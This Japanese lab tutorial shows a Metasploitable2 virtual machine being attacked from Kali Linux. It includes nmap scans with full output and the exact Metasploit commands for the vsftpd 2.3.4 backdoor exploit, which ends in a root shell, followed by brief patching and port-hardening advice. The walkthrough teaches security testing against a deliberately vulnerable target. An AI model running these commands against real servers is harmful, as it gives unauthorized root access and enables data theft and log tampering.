Metasploitという世界では有名なペネトレーションツールを利用して、脆弱性が含まれたツールを持つサーバを攻撃、遠隔操作する事例を紹介します。
攻撃用のサーバ、Kali LinuxはデフォルトでMetasploitを使用することができます。程度にもよりますが、深刻な脆弱性を持ったツールを使っていることの恐さがわかると思います。
※念の為、こういったものを悪用するのは犯罪です。利用するのは自己責任でお願いいたします。
前提
Kali Linux実行環境があること。
⇒ Virtual BoxにKali Linuxインストール
metasploitable実行環境があること。
⇒以下参照。
環境について
今回ターゲットとなるサーバにはmetasploitableというものを使います。
脆弱性が含まれたサーバでMetasploitの動作テストに使われます。
以下リンクでVMDKが含まれたZIPファイルがダウンロードできるのでVirtualBoxなどに設定して立ち上げます。
・metasploitable2 - download
・ネットワーク
ネットワークアドレス: 172.20.10.0/28
・サーバ: IP
Kali Linux (攻撃者): 172.20.10.13
Metasploitable(ターゲット): 172.20.10.5
ポートスキャン(nmap)
まずKaliでポートスキャンをしてローカルネットワーク内のホストIPを検索します。
root@kali:~# nmap -sP 172.20.10.0/28
Starting Nmap 7.70 ( https://nmap.org ) at タイムスタンプ JST
Nmap scan report for 172.20.10.1
Host is up (0.0029s latency).
MAC Address: B2:DD:5D:D2:49:64 (Unknown)
Nmap scan report for 172.20.10.2
Host is up (0.00020s latency).
MAC Address: 90:61:AE:ED:ED:BF (Intel Corporate)
Nmap scan report for 172.20.10.5
Host is up (0.00043s latency).
MAC Address: 08:00:27:C7:B3:9A (Oracle VirtualBox virtual NIC)
Nmap scan report for 172.20.10.13
Host is up.
Nmap done: 16 IP addresses (4 hosts up) scanned in 3.95 seconds
自分以外に172.20.10.5というIPがあることがわかります。
そして以下コマンドで172.20.10.5をポートスキャンします。
nmap -sV -O -p- 172.20.10.5
※オプションについて
-p- 1~65535番までのポートを対象とするに
-sV各ポートのサービスのバージョン表示
-O ターゲットのOSを特定
実行すると以下のように表示されます。
root@kali:~# nmap -sV -O -p- 172.20.10.5
Starting Nmap 7.70 ( https://nmap.org ) at タイムスタンプ JST
Nmap scan report for 172.20.10.5
Host is up (0.00025s latency).
Not shown: 65505 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login
514/tcp open tcpwrapped
1099/tcp open rmiregistry GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
6697/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
35896/tcp open rmiregistry GNU Classpath grmiregistry
37623/tcp open nlockmgr 1-4 (RPC #100021)
40375/tcp open status 1 (RPC #100024)
60835/tcp open mountd 1-3 (RPC #100005)
MAC Address: 08:00:27:C7:B3:9A (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.23 seconds
ここでは21番のvsftpd2.3.4と445番のsmbd、またVNCも怪しそうです。
CVE DetailsやExploit-DBでvsftpd2.3.4を検索すると、Backdoor Command Executionという脆弱性があることがわかります。
内容としては、:)を含むユーザ名でFTPにログインするとポート6200にバックドアが開き、
そのためポート6200(TCP)にアクセスすることでvsftpdの実行権限で任意のコマンドを実行できるというものです。
またExploit-DBの検索結果のリンクから、脆弱性を突くためのファイルもダウンロードできますが、今回既にKali Linuxでvsftpd_234_backdoortというファイルで用意されています。
その内容も21番で:)を含むユーザ名を入力し6200でバックドアから侵入する内容です。
Metasploitでvsftpdのバックドアを利用
metasplot起動
msfconsole
vsftpd_234_backdoorを指定
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
ターゲット設定
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 172.20.10.5
vsftpd_234_backdoor実行にあたり情報を表示
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 172.20.10.5 yes The target address range or CIDR identifier
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
実行
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 172.20.10.5:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 172.20.10.5:21 - USER: 331 Please specify the password.
[+] 172.20.10.5:21 - Backdoor service has been spawned, handling...
[+] 172.20.10.5:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (172.20.10.13:43587 -> 172.20.10.5:6200) at タイムスタンプ +0900
プロンプトが返ってこないので操作しにくいですがroot権限なのでほとんどのことができます。
whoami
root
pwd
/
ここで前回記事に上げた辞書式攻撃でのパスワード解析や、SSHについての情報が取得され、
またポート3306がオープンでしていたのでMySQLのユーザ、パスワードも知られた場合、深刻な被害、情報漏洩にもなります。またrootを奪取された場合ログを消去、改ざんされてしまいます。
対策
ウェブアプリケーションやソフトウェアライブラリ、プラットフォームの脆弱性対策(パッチ適用など)。CVEなどの情報を定期的に収集していること。
また不要なポートは開けないのと、改ざん検知システムの導入なども効果があると思います。
関連記事
・Kali LinuxでJohn The Ripper,hydraによるパスワード解析
・Kali LinuxでDVWAを使いSQLインジェクション体験
・Kali Linuxを使いMACアドレスを偽装
・Kali LinuxでWebクローニングを使いログイン情報取得